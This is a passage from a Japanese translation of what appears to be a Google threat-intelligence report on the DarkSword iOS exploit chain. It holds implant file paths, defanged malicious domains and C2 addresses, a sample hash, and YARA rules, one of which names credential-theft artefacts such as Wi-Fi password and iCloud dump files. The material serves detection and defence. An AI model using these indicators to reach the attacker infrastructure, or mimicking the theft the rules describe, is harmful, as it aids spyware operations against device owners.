src/libs/Chain/Native.js
src/libs/Chain/OffsetsStruct.js
src/libs/Driver/Driver.js
src/libs/Driver/DriverNewThread.js
src/libs/Driver/Offsets.js
src/libs/Driver/OffsetsTable.js
src/libs/JSUtils/FileUtils.js
src/libs/JSUtils/Logger.js
src/libs/JSUtils/Utils.js
src/libs/TaskRop/Exception.js
src/libs/TaskRop/ExceptionMessageStruct.js
src/libs/TaskRop/ExceptionReplyStruct.js
src/libs/TaskRop/MachMsgHeaderStruct.js
src/libs/TaskRop/PAC.js
src/libs/TaskRop/PortRightInserter.js
src/libs/TaskRop/RegistersStruct.js
src/libs/TaskRop/RemoteCall.js
src/libs/TaskRop/Sandbox.js
src/libs/TaskRop/SelfTaskStruct.js
src/libs/TaskRop/Task.js
src/libs/TaskRop/TaskRop.js
src/libs/TaskRop/Thread.js
src/libs/TaskRop/ThreadState.js
src/libs/TaskRop/VM.js
src/libs/TaskRop/VmMapEntry.js
src/libs/TaskRop/VMObject.js
src/libs/TaskRop/VmPackingParams.js
src/libs/TaskRop/VMShmem.js
src/loader.js
src/main.js
src/MigFilterBypassThread.js
図22:GHOSTBLADEサンプルからのファイルパス成果物
展望と含意
DarkSwordとCorunaの両方が異なる地理的および動機を持つ多様なアクターによって使用されることは、アクター全体でのエクスプロイト拡散の継続的なリスクを示しています。Googleはこの問題の緩和を支援することにコミットしており、一部のPall Mallプロセスへの継続的な参加を通じてです。これはスパイウェア業界からのハームを制限することに向けて合意と進捗を構築するために設計されました。一緒に、我々はこれらの強力なテクノロジーの誤用を制限し、世界中の人権を保護するための国際的な規範とフレームワークを開発することに焦点を当てています。これらの取り組みは、スパイウェアへの政府の使用を制限するための米国政府によって講じられた措置および類似の取り組みへの初の国際的コミットメントに基づいています。
謝辞
Lookout、iVerify、Google Project-Zero、およびこの調査全体を通じてのパートナーシップのためのApple Security Engineering & Architectureチームに謝意を表明し、感謝したいと思います。
侵害の指標(IOCs)
このブログ投稿で概説された活動の狩猟と特定を支援するために、記者の指標(IOCs)をGTIコレクションに登録ユーザー向けに含めました。また、GHOSTBLADE のサンプルを VirusTotal にアップロードしました。
ネットワーク指標
|
IOC |
脅威アクター |
コンテキスト |
|
snapshare[.]chat |
UNC6748 |
サウジアラビアで使用されたDarkSword配信 |
|
62.72.21[.]10 |
UNC6748 |
GHOSTKNIFE C2サーバー(2025年11月) |
|
72.60.98[.]48 |
UNC6748 |
GHOSTKNIFE C2サーバー(2025年11月) |
|
sahibndn[.]io |
PARS Defense |
トルコで使用されたDarkSword配信 |
|
e5.malaymoil[.]com |
PARS Defense |
マレーシアで使用されたDarkSword配信 |
|
static.cdncounter[.]net |
UNC6353 |
ウクライナのウォータリングホール経由のDarkSword配信 |
|
sqwas.shapelie[.]com |
UNC6353 |
GHOSTBLADEデータ流出サーバー |
ファイル指標
|
IOC |
脅威アクター |
コンテキスト |
|
2e5a56beb63f21d9347310412ae6efb29fd3db2d3a3fc0798865a29a3c578d35 |
UNC6353 |
抽出されたGHOSTBLADEサンプル |
検出
YARAルール
rule G_Backdoor_GHOSTKNIFE_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$ = "server_pub_ex"
$ = "client_pri_ds"
$ = "getfilebyExtention"
$ = "getContOfFilesForModule"
$ = "carPlayConnectionState"
$ = "saveRecordingApp"
$ = "getLastItemBack"
$ = "継承されたクラス"
$ = "passExtetion"
condition:
filesize < 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 4 of them
}
rule G_Backdoor_GHOSTSABER_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$ = "sendDeviceInfoJson"
$ = "merge2AppLists"
$ = "send_command_to_upper_process"
$ = "ChangeStatusCheckSleepInterval"
$ = "SendRegEx"
$ = "evalJsResponse.json"
$ = "sendSimpleUploadJsonObject"
$ = "device_info_all"
$ = "getPayloadForSimpleStatusRequest"
condition:
filesize < 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 4 of them
}
rule G_Datamine_GHOSTBLADE_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$ = "/private/var/tmp/wifi_passwords.txt"
$ = "/private/var/tmp/wifi_passwords_securityd.txt"
$ = "/.com.apple.mobile_container_manager.metadata.plist" fullword
$ = "X-Device-UUID: ${"
$ = "/installed_apps.txt" fullword
$ = "icloud_dump_" fullword
condition:
filesize < 10MB and not (uint16be(0) == 0x504b or uint32be(0) == 0x6465780a or uint16be(0) == 0x4d5a or uint32be(0) == 0x377abcaf) and 3 of them
}
rule G_Hunting_DarkSwordExploitChain_ImplantLib_FilePaths_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$ = "src/InjectJS.js"
$ = "src/libs/Chain/Chain.js"
$ = "src/libs/Chain/Native.js"
$ = "src/libs/Chain/OffsetsStruct.js"
$ = "src/libs/Driver/Driver.js"
$ = "src/libs/Driver/DriverNewThread.js"
$ = "src/libs/Driver/Offsets.js"
$ = "src/libs/Driver/OffsetsTable.js"
$ = "src/libs/JSUtils/FileUtils.js"
$ = "src/libs/JSUtils/Logger.js"
$ = "src/libs/JSUtils/Utils.js"
$ = "src/libs/TaskRop/Exception.js"
$ = "src/libs/TaskRop/ExceptionMessageStruct.js"
$ = "src/libs/TaskRop/ExceptionReplyStruct.js"
$ = "src/libs/TaskRop/MachMsgHeaderStruct.js"
$ = "src/libs/TaskRop/PAC.js"
$ = "src/libs/TaskRop/PortRightInserter.js"
$ = "src/libs/TaskRop/RegistersStruct.js"
$ = "src/libs/TaskRop/RemoteCall.js"
$ = "src/libs/TaskRop/Sandbox.js"
$ = "src/libs/TaskRop/SelfTaskStruct.js"
$ = "src/libs/TaskRop/Task.js"
$ = "src/libs/TaskRop/TaskRop.js"
$ = "src/libs/TaskRop/Thread.js"
$ = "src/libs/TaskRop/ThreadState.js"
$ = "src/libs/TaskRop/VM.js"
$ = "src/libs/TaskRop/VmMapEntry.js"
$ = "src/libs/TaskRop/VMObject.js"
$ = "src/libs/TaskRop/VmPackingParams.js"
$ = "src/libs/TaskRop/VMShmem.js"
$ = "src/MigFilterBypassThread.js"
condition:
any of them
}
翻訳元: https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/